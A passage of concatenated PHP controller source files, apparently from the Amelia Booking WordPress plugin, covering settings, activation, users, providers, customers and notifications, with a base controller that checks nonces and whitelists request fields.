GetSettingsController extends Controller { /** * @param Request $request * @param $args * * @return GetSettingsCommand */ protected function instantiateCommand(Request $request, $args) { $command = new GetSettingsCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Settings/UpdateSettingsController.php 0000666 00000002574 15165412624 0016231 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Settings; use AmeliaBooking\Application\Commands\Settings\UpdateSettingsCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class UpdateSettingsController * * @package AmeliaBooking\Application\Controller\Settings */ class UpdateSettingsController extends Controller { /** * Fields for user that can be received from front-end * * @var array */ protected $allowedFields = [ 'activation', 'company', 'customization', 'customizedData', 'daysOff', 'general', 'googleCalendar', 'outlookCalendar', 'labels', 'notifications', 'payments', 'roles', 'weekSchedule', 'webHooks', 'zoom', 'facebookPixel', 'googleTag', 'lessonSpace', 'appointments', 'sendAllCF', 'usedLanguages', 'ics' ]; /** * @param Request $request * @param $args * * @return UpdateSettingsCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateSettingsCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Activation/ActivatePluginController.php 0000666 00000001700 15165412624 0016474 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Activation; use AmeliaBooking\Application\Commands\Activation\ActivatePluginCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class ActivatePluginController * * @package AmeliaBooking\Application\Controller\Activation */ class ActivatePluginController extends Controller { /** * Instantiates the Activate Plugin command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return ActivatePluginCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new ActivatePluginCommand($args); $command->setField('params', (array)$request->getQueryParams()); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Activation/ParseDomainController.php 0000666 00000002064 15165412624 0015763 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Activation; use AmeliaBooking\Application\Commands\Activation\ParseDomainCommand; use AmeliaBooking\Application\Controller\Controller; use RuntimeException; use Slim\Http\Request; /** * Class ParseDomainController * * @package AmeliaBooking\Application\Controller\Activation */ class ParseDomainController extends Controller { /** * Fields for appointment that can be received from front-end * * @var array */ public $allowedFields = [ 'domain', 'subdomain' ]; /** * Instantiates the Activate Plugin command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return ParseDomainCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new ParseDomainCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Activation/DeactivatePluginController.php 0000666 00000001653 15165412624 0017014 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Activation; use AmeliaBooking\Application\Commands\Activation\DeactivatePluginCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class DeactivatePluginController * * @package AmeliaBooking\Application\Controller\Activation */ class DeactivatePluginController extends Controller { /** * Instantiates the Deactivate Plugin command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return DeactivatePluginCommand */ protected function instantiateCommand(Request $request, $args) { $command = new DeactivatePluginCommand($args); $command->setField('params', (array)$request->getQueryParams()); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Activation/DeactivatePluginEnvatoController.php 0000666 00000001720 15165412624 0020164 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Activation; use AmeliaBooking\Application\Commands\Activation\DeactivatePluginEnvatoCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class DeactivatePluginEnvatoController * * @package AmeliaBooking\Application\Controller\Activation */ class DeactivatePluginEnvatoController extends Controller { /** * Instantiates the Deactivate Plugin Envato command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return DeactivatePluginEnvatoCommand */ protected function instantiateCommand(Request $request, $args) { $command = new DeactivatePluginEnvatoCommand($args); $command->setField('params', (array)$request->getQueryParams()); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Stats/GetStatsController.php 0000666 00000002116 15165412624 0014312 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Controller\Stats; use AmeliaBooking\Application\Commands\Stats\GetStatsCommand; use AmeliaBooking\Application\Controller\Controller; use RuntimeException; use Slim\Http\Request; /** * Class GetStatsController * * @package AmeliaBooking\Application\Controller\Stats */ class GetStatsController extends Controller { /** * Instantiates the Get Stats command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return mixed * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetStatsCommand($args); $params = (array)$request->getQueryParams(); $this->setArrayParams($params); $command->setField('params', $params); $requestBody = $request->getQueryParams(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Stats/AddStatsController.php 0000666 00000002022 15165412624 0014257 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Stats; use AmeliaBooking\Application\Commands\Stats\AddStatsCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class AddStatsController * * @package AmeliaBooking\Application\Controller\Stats */ class AddStatsController extends Controller { /** * Fields for stats that can be received from front-end * * @var array */ protected $allowedFields = [ 'locationId', 'providerId', 'serviceId' ]; /** * Instantiates the Add Stats command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return AddStatsCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new AddStatsCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/User/Customer/UpdateCustomerController.php 0000666 00000003440 15165412624 0017142 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\User\Customer; use AmeliaBooking\Application\Commands\User\Customer\UpdateCustomerCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class UpdateCustomerController * * @package AmeliaBooking\Application\Controller\User\Customer */ class UpdateCustomerController extends Controller { /** * Fields for user that can be received from front-end * * @var array */ protected $allowedFields = [ 'status', 'type', 'firstName', 'lastName', 'birthday', 'email', 'externalId', 'avatar', 'phone', 'note', 'gender', 'password', 'countryPhoneIso', 'pictureFullPath', 'pictureThumbPath', 'translations' ]; /** * Instantiates the Update Customer command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return UpdateCustomerCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateCustomerCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); $command->setField('id', $args['id']); $command->setToken($request); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('user.updated', $result); } } Controller/User/Customer/AddCustomerController.php 0000666 00000003270 15165412624 0016411 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\User\Customer; use AmeliaBooking\Application\Commands\User\Customer\AddCustomerCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class AddCustomerController * * @package AmeliaBooking\Application\Controller\User\Customer */ class AddCustomerController extends Controller { /** * Fields for user that can be received from front-end * * @var array */ protected $allowedFields = [ 'status', 'type', 'firstName', 'lastName', 'birthday', 'email', 'externalId', 'avatar', 'phone', 'countryPhoneIso', 'note', 'gender', 'externalId', 'pictureFullPath', 'pictureThumbPath', 'translations' ]; /** * Instantiates the Add Customer command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return AddCustomerCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new AddCustomerCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('user.added', $result); } } Controller/User/Customer/ReauthorizeController.php 0000666 00000002573 15165412624 0016505 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\User\Customer; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\User\Customer\ReauthorizeCommand; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class ReauthorizeController * * @package AmeliaBooking\Application\Controller\User\Customer */ class ReauthorizeController extends Controller { /** * Fields for user that can be received from front-end * * @var array */ protected $allowedFields = [ 'email', 'locale', 'cabinetType' ]; /** * Instantiates the Forgot Password command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return ReauthorizeCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new ReauthorizeCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { } } Controller/User/Customer/GetCustomersController.php 0000666 00000001743 15165412624 0016626 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\User\Customer; use AmeliaBooking\Application\Commands\User\Customer\GetCustomersCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class GetCustomersController * * @package AmeliaBooking\Application\Controller\User\Customer */ class GetCustomersController extends Controller { /** * Instantiates the Get Customers command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetCustomersCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetCustomersCommand($args); $command->setField('params', (array)$request->getQueryParams()); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); $command->setToken($request); return $command; } } Controller/User/Customer/GetCustomerController.php 0000666 00000002344 15165412624 0016441 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\User\Customer; use AmeliaBooking\Application\Commands\User\Customer\GetCustomerCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class GetCustomerController * * @package AmeliaBooking\Application\Controller\User\Customer */ class GetCustomerController extends Controller { /** * Instantiates the Get Customer command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetCustomerCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetCustomerCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('user.returned', $result); } } Controller/User/Provider/UpdateProviderStatusController.php 0000666 00000002110 15165412624 0020321 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\User\Provider; use AmeliaBooking\Application\Commands\User\Provider\UpdateProviderStatusCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class UpdateProviderStatusController * * @package AmeliaBooking\Application\Controller\User\Provider */ class UpdateProviderStatusController extends Controller { /** * Fields for provider that can be received from front-end * * @var array */ protected $allowedFields = [ 'status', ]; /** * Instantiates the Update Provider Status command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return UpdateProviderStatusCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateProviderStatusCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/User/Provider/GetProviderController.php 0000666 00000002375 15165412624 0016427 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\User\Provider; use AmeliaBooking\Application\Commands\User\Provider\GetProviderCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class GetProviderController * * @package AmeliaBooking\Application\Controller\User\Provider */ class GetProviderController extends Controller { /** * Instantiates the Get Provider command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetProviderCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $getUserCommand = new GetProviderCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($getUserCommand, $requestBody); return $getUserCommand; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('provider.returned', $result); } } Controller/User/Provider/GetProvidersController.php 0000666 00000002565 15165412624 0016613 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\User\Provider; use AmeliaBooking\Application\Commands\User\Provider\GetProvidersCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class GetProvidersController * * @package AmeliaBooking\Application\Controller\User\Provider */ class GetProvidersController extends Controller { /** * @param Request $request * @param $args * * @return GetProvidersCommand * @throws \Exception */ protected function instantiateCommand(Request $request, $args) { $command = new GetProvidersCommand($args); $params = (array)$request->getQueryParams(); if (isset($params['services'])) { $params['services'] = array_map('intval', $params['services']); } $command->setField('params', $params); $requestBody = $request->getQueryParams(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('providers.returned', $result); } } Controller/User/Provider/UpdateProviderController.php 0000666 00000004036 15165412624 0017126 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\User\Provider; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\User\Provider\UpdateProviderCommand; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class UpdateProviderController * * @package AmeliaBooking\Application\Controller\User */ class UpdateProviderController extends Controller { /** * Fields for provider that can be received from front-end * * @var array */ protected $allowedFields = [ 'type', 'firstName', 'lastName', 'birthday', 'email', 'externalId', 'locationId', 'avatar', 'phone', 'countryPhoneIso', 'note', 'description', 'gender', 'serviceList', 'weekDayList', 'specialDayList', 'timeOutList', 'periodList', 'dayOffList', 'pictureFullPath', 'pictureThumbPath', 'zoomUserId', 'googleCalendar', 'outlookCalendar', 'password', 'sendEmployeePanelAccessEmail', 'translations', 'timeZone', ]; /** * Instantiates the Update Provider command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return UpdateProviderCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateProviderCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); $command->setToken($request); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('provider.updated', $result); } } Controller/User/Provider/AddProviderController.php 0000666 00000003667 15165412624 0016405 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\User\Provider; use AmeliaBooking\Application\Commands\User\Provider\AddProviderCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class AddProviderController * * @package AmeliaBooking\Application\Controller\User\Provider */ class AddProviderController extends Controller { /** * Fields for provider that can be received from front-end * * @var array */ protected $allowedFields = [ 'type', 'status', 'firstName', 'lastName', 'birthday', 'email', 'externalId', 'locationId', 'avatar', 'phone', 'countryPhoneIso', 'note', 'description', 'serviceList', 'weekDayList', 'specialDayList', 'timeOutList', 'periodList', 'dayOffList', 'externalId', 'pictureFullPath', 'pictureThumbPath', 'password', 'sendEmployeePanelAccessEmail', 'translations', 'timeZone', ]; /** * Instantiates the Add Provider command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return AddProviderCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new AddProviderCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('provider.added', $result); } } Controller/User/DeleteUserController.php 0000666 00000002302 15165412624 0014432 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\User; use AmeliaBooking\Application\Commands\User\DeleteUserCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class DeleteUserController * * @package AmeliaBooking\Application\Controller\User */ class DeleteUserController extends Controller { /** * Instantiates the Delete User command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return DeleteUserCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new DeleteUserCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('user.deleted', $result); } } Controller/User/GetCurrentUserController.php 0000666 00000001615 15165412624 0015320 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\User; use AmeliaBooking\Application\Commands\User\GetCurrentUserCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class GetCurrentUserController * * @package AmeliaBooking\Application\Controller\User */ class GetCurrentUserController extends Controller { /** * Instantiates the Get Current User command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetCurrentUserCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetCurrentUserCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); $command->setToken($request); return $command; } } Controller/User/LoginCabinetController.php 0000666 00000002715 15165412624 0014737 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\User; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\User\LoginCabinetCommand; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class LoginCabinetController * * @package AmeliaBooking\Application\Controller\User */ class LoginCabinetController extends Controller { /** * Fields for login that can be received from front-end * * @var array */ protected $allowedFields = [ 'email', 'password', 'token', 'checkIfWpUser', 'cabinetType', 'changePass' ]; /** * Instantiates the Login Cabinet command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return LoginCabinetCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new LoginCabinetCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); $command->setToken($request); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { } } Controller/User/GetUserDeleteEffectController.php 0000666 00000001605 15165412624 0016214 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\User; use AmeliaBooking\Application\Commands\User\GetUserDeleteEffectCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class GetUserDeleteEffectController * * @package AmeliaBooking\Application\Controller\User */ class GetUserDeleteEffectController extends Controller { /** * Instantiates the Get User Delete Effect command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetUserDeleteEffectCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetUserDeleteEffectCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/User/GetWPUsersController.php 0000666 00000001731 15165412624 0014406 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\User; use AmeliaBooking\Application\Commands\User\GetWPUsersCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class GetWPUsersController * * @package AmeliaBooking\Application\Controller\User */ class GetWPUsersController extends Controller { /** * Instantiates the Get WP Users command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetWPUsersCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetWPUsersCommand($args); $command->setField('id', (int)$request->getQueryParam('id')); $command->setField('role', $request->getQueryParam('role')); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/User/LogoutCabinetController.php 0000666 00000002271 15165412624 0015135 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\User; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\User\LogoutCabinetCommand; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use RuntimeException; use Slim\Http\Request; /** * Class LogoutCabinetController * * @package AmeliaBooking\Application\Controller\User */ class LogoutCabinetController extends Controller { /** * Instantiates the Logout Cabinet command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return LogoutCabinetCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new LogoutCabinetCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { } } Controller/Controller.php 0000666 00000014551 15165412624 0011543 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller; use AmeliaBooking\Application\Commands\Command; use AmeliaBooking\Domain\Services\Permissions\PermissionsService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Domain\Events\DomainEventBus; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Infrastructure\WP\SettingsService\SettingsStorage; use League\Tactician\CommandBus; use Slim\Http\Request; use Slim\Http\Response; /** * Class Controller * * @package AmeliaBooking\Application\Controller */ abstract class Controller { const STATUS_OK = 200; const STATUS_REDIRECT = 302; const STATUS_FORBIDDEN = 403; const STATUS_NOT_FOUNT = 404; const STATUS_CONFLICT = 409; const STATUS_INTERNAL_SERVER_ERROR = 500; /** * @var CommandBus */ protected $commandBus; /** * @var DomainEventBus */ protected $eventBus; /** * @var PermissionsService */ protected $permissionsService; protected $allowedFields = ['ameliaNonce']; protected $sendJustData = false; /** * Base Controller constructor. * * @param Container $container * * @throws \Interop\Container\Exception\ContainerException */ public function __construct(Container $container) { $this->commandBus = $container->getCommandBus(); $this->eventBus = $container->getEventBus(); $this->permissionsService = $container->getPermissionsService(); } /** * @param Request $request * @param $args * * @return mixed */ abstract protected function instantiateCommand(Request $request, $args); /** * Emit a success domain event, do nothing by default * * @param DomainEventBus $eventBus * * @param CommandResult $result * * @return null */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { return null; } /** * Emit a failure domain event, do nothing by default * * @param DomainEventBus $eventBus * * @param CommandResult $data * * @return null */ protected function emitFailureEvent(DomainEventBus $eventBus, CommandResult $data) { return null; } /** * @param Request $request * @param Response $response * @param $args * * @return Response * @throws \InvalidArgumentException * @throws \RuntimeException */ public function __invoke(Request $request, Response $response, $args) { /** @var Command $command */ $command = $this->instantiateCommand($request, $args); if (!$command->validateNonce($request)) { return $response->withStatus(self::STATUS_FORBIDDEN); } /** @var CommandResult $commandResult */ $commandResult = $this->commandBus->handle($command); if ($commandResult->getResult() === CommandResult::RESULT_ERROR) { /** @var SettingsService $settingsService */ $settingsService = new SettingsService(new SettingsStorage()); if ($settingsService->getSetting('activation', 'responseErrorAsConflict')) { $commandResult->setResult(CommandResult::RESULT_CONFLICT); } } if ($commandResult->getUrl() !== null) { $this->emitSuccessEvent($this->eventBus, $commandResult); /** @var Response $response */ $response = $response->withHeader('Location', $commandResult->getUrl()); $response = $response->withStatus(self::STATUS_REDIRECT); return $response; } if ($commandResult->hasAttachment() === false) { $responseBody = [ 'message' => $commandResult->getMessage(), 'data' => $commandResult->getData() ]; $this->emitSuccessEvent($this->eventBus, $commandResult); switch ($commandResult->getResult()) { case (CommandResult::RESULT_SUCCESS): $response = $response->withStatus(self::STATUS_OK); break; case (CommandResult::RESULT_CONFLICT): $response = $response->withStatus(self::STATUS_CONFLICT); break; default: $response = $response->withStatus(self::STATUS_INTERNAL_SERVER_ERROR); break; } /** @var Response $response */ $response = $response->withHeader('Content-Type', 'application/json;charset=utf-8'); $response = $response->write( $this->sendJustData ? $commandResult->getData() : json_encode( $commandResult->hasDataInResponse() ? $responseBody : array_merge($responseBody, ['data' => []]) ) ); } if (($file = $commandResult->getFile()) !== null) { /** @var Response $response */ $response = $response->withHeader('Content-Type', $file['type']); $response = $response->withHeader('Content-Disposition', 'inline; filename=' . '"' . $file['name'] . '"'); $response = $response->withHeader('Cache-Control', 'max-age=0'); if (array_key_exists('size', $file)) { $response = $response->withHeader('Content-Length', $file['size']); } $response = $response->write($file['content']); } return $response; } /** * @param Command $command * @param $requestBody */ protected function setCommandFields($command, $requestBody) { foreach ($this->allowedFields as $field) { if (!isset($requestBody[$field])) { continue; } $command->setField($field, $requestBody[$field]); } } /** * @param mixed $params */ protected function setArrayParams(&$params) { $names = ['categories', 'services', 'packages', 'employees', 'providers', 'providerIds', 'locations', 'events', 'dates', 'types', 'fields']; foreach ($names as $name) { if (!empty($params[$name])) { $params[$name] = is_array($params[$name]) ? $params[$name] : explode(',', $params[$name]); } } } } Controller/Notification/SendTestWhatsAppController.php 0000666 00000002306 15165412624 0017306 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Notification; use AmeliaBooking\Application\Commands\Notification\SendTestEmailCommand; use AmeliaBooking\Application\Commands\Notification\SendTestWhatsAppCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class SendTestWhatsAppController * * @package AmeliaBooking\Application\Controller\Notification */ class SendTestWhatsAppController extends Controller { /** * Fields for notification that can be received from front-end * * @var array */ protected $allowedFields = [ 'notificationTemplate', 'recipientWhatsApp', 'type', 'language' ]; /** * Instantiates the Send Test Email command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return SendTestWhatsAppCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new SendTestWhatsAppCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Notification/AddNotificationController.php 0000666 00000003634 15165412624 0017151 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Notification; use AmeliaBooking\Application\Commands\Command; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\Notification\AddNotificationCommand; use AmeliaBooking\Application\Commands\Notification\UpdateNotificationCommand; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class AddNotificationController * * @package AmeliaBooking\Application\Controller\Notification */ class AddNotificationController extends Controller { /** * Fields for notification that can be received from front-end * * @var array */ protected $allowedFields = [ 'name', 'customName', 'sendOnlyMe', 'type', 'time', 'timeBefore', 'timeAfter', 'subject', 'content', 'translations', 'sendTo', 'status', 'notificationType', 'appointmentStatus', 'when', 'entityIds', 'duplicate', 'entity', 'whatsAppTemplate', ]; /** * Instantiates the Add Notification command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return AddNotificationCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new AddNotificationCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('notification.added', $result); } } Controller/Notification/SendTestEmailController.php 0000666 00000002152 15165412624 0016605 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Notification; use AmeliaBooking\Application\Commands\Notification\SendTestEmailCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class SendTestEmailController * * @package AmeliaBooking\Application\Controller\Notification */ class SendTestEmailController extends Controller { /** * Fields for notification that can be received from front-end * * @var array */ protected $allowedFields = [ 'notificationTemplate', 'recipientEmail', 'type', 'language' ]; /** * Instantiates the Send Test Email command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return SendTestEmailCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new SendTestEmailCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Notification/DeleteNotificationController.php 0000666 00000002730 15165412624 0017657 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Notification; use AmeliaBooking\Application\Commands\Command; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\Notification\AddNotificationCommand; use AmeliaBooking\Application\Commands\Notification\DeleteNotificationCommand; use AmeliaBooking\Application\Commands\Notification\UpdateNotificationCommand; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class AddNotificationController * * @package AmeliaBooking\Application\Controller\Notification */ class DeleteNotificationController extends Controller { /** * Instantiates the Add Notification command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return DeleteNotificationCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new DeleteNotificationCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('notification.deleted', $result); } } Controller/Notification/SendScheduledNotificationsController.php 0000666 00000001706 15165412624 0021354 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Notification; use 